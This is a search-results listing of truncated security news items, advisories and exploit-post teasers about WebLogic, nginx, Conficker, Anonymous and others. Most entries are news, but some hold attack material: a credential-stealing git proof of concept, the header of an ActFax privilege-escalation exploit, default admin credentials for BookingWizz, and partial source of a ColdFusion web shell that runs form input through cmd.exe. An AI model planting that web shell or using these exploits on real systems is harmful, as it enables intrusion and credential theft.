539 matches found
Oracle WebLogic remote command execution vulnerability alerts-a vulnerability alert-the black bar safety net
2019 04 on 17 May, the National information security vulnerabilities sharing platform CNVD official released a security Bulletin called Oracle WebLogic wls9-async components deserialization of a remote command execution vulnerability, an attacker can use this vulnerability, unauthorized remote...
GitBackdorizer - Is A Proof Of Concept That Uses The Lack Of User Attention To Steal Git Access Credentials
GitBackdorizer is a proof of concept, fully inspired in Ulisses Castro's 50 ton of backdoors talk, that abuses the lack of user attention to steal git access credentials. How it Works GitBackdorizer consists of three pieces: handler, dropper and the payload. Handler The handler sets up a HTTP...
Threat Predictions for Automotive in 2018
The landscape in 2017 Modern cars are no longer just electro-mechanical vehicles. With each generation, they become more connected and incorporate more intelligent technologies to make them smarter, more efficient, comfortable and safe. The connected-car market is growing at a five-year compound...
BookingWizz LFI / XSS / CSRF / SQL Injection
ADVISORY INFORMATION ======================================== Title: BookingWizz Default username/password: admin/pass"; PR2 - Cross Site Scripting ======================================== File : eventList.php // Improper user input validation on Line 24: $serviceID =...
Attention test - Dangerous filesystem permissions, WebView code execution vulnerabilities
HackApp vulnerability scanner discovered that application Attention test published at the 'play' market has multiple vulnerabilities...
Telephony Denial-of-Service Attacks Prompt Federal Attention
The call-center equivalent of network-based denial-of-service attacks, known as telephony denial-of-service TDoS, have targeted emergency services among other industries, enough to garner attention from the Department of Homeland Security, Federal Bureau of Investigation, Federal Communications...
Nginx 'access.log'不安全文件权限漏洞
BUGTRAQ ID: 58105 CVECAN ID: CVE-2013-0337 nginx是一款使用非常广泛的高性能Web服务器。 在Gentoo上，/var/log/nginx全局可访问，目录内的日志文件也是全局可读，这可允许未授权用户读取日志文件。 0 Igor Sysoev nginx 厂商补丁： Igor Sysoev ----------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://nginx.net/...
Anonymous Leaks Apple UDIDs Following Alleged Hack of FBI
UPDATE–The Antisec arm of hacktivist group Anonymous published one million unique device identifier numbers, or UDIDs, for Apple devices, including iPhones and iPads, on Monday night. The group alleges the slew of information was swiped from a laptop belonging to the FBI earlier this year. In a...
ActFax 4.31 Local Privilege Escalation Exploit
Exploit for windows platform in category local exploits !/usr/bin/python Title: ActFax 4.31 Local Privilege Escalation Exploit Author: Craig Freyman @cd1zz Discovered: July 10, 2012 Vendor Notified: June 12, 2012 Description: http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html...
Siemens Says It Will Patch Remote Authentication Holes
After first denying their existence, a Siemens spokesman acknowledged on Thursday that his company was aware of a series of security vulnerabilities in its software that could allow remote attackers to take control of industrial control systems. Siemens issued a statement in response to complaint...
NBC News Twitter account hacked & post fake news of 9/11
NBC News Twitter account hacked & post fake news of 9/11 Hackers have broken into the Twitter account of NBC News and posted messages claiming that there has been a terrorist attack at Ground Zero in New York. Coming two days before the tenth anniversary of the 9/11 attacks, the prank by a group...
Insulin Pump Hack Garners Federal Attention
The hack of a commercially available insulin pump earlier this month at the DEFCON hacker conference has attracted the attention of members of the House Energy & Commerce Committee, which is now calling for a formal review of wireless medical devices like the pump. Senior Committee members Anna G...
Report: Romanian Authorities Bust VoIP Hacking Group
Authorities in Romania have disrupted a large hacking ring accused of stealing Voice over IP VoIP data from hacked servers and using it to place bogus calls to premium rate numbers. Agence France Presse reported on Tuesday that 42 people were arrested in the sting, breaking up a network that was...
Mobile Devices Drawing More Attackers' Attention
As mobile devices such as iPhones, BlackBerrys, Android phones and others have become more sophisticated and easy to use, many users have made them their main computing and Web-browsing devices. And that evolution naturally has caught the attention of attackers who have begun tailoring more and...
By Dennis Fisher
It occurred to me recently that I’ve been covering the security industry for just about 10 years. That’s a long time to be doing anything, and especially to be writing about one topic. But it’s hard to think of something that would have been much more interesting to cover this decade, given the...
Spam Botnet Gaining Traction
Upping its output of spam by nearly 5 percent in recent weeks, a new botnet called Festi has grabbed the attention of researchers, cracking the list of top 10 most prolific spamming botnets. The botnet has apparently pumped up the volume of spam by recruiting more bots, about 60 percent of which...
Conficker Infects 7 Million Systems in a Year
The Shadowserver Foundation reported that it has discovered 7 million unique IP addresses infected by Conficker and its variants. Tracking of the attack was accomplished by cracking the algorithm that the worm uses to find instructions on the Internet. Shadowserver then used sinkhole servers to l...
cfm cmdshell use of attention-exploit warning-the black bar safety net
cfm-cmdshell 1. html 2. head 3. meta http-equiv="Content-Type" content="text/html; charset=gb2312" 4. titleCFM shell/title 5. /head 6. body 7. !--- os. run --- 8. cfif IsDefined"FORM. cmd" 9. cfoutputcmd/cfoutput 1 0. cfexecute name="C:\Winnt\System32\cmd.exe" 1 1. arguments="/c cmd" 1 2...
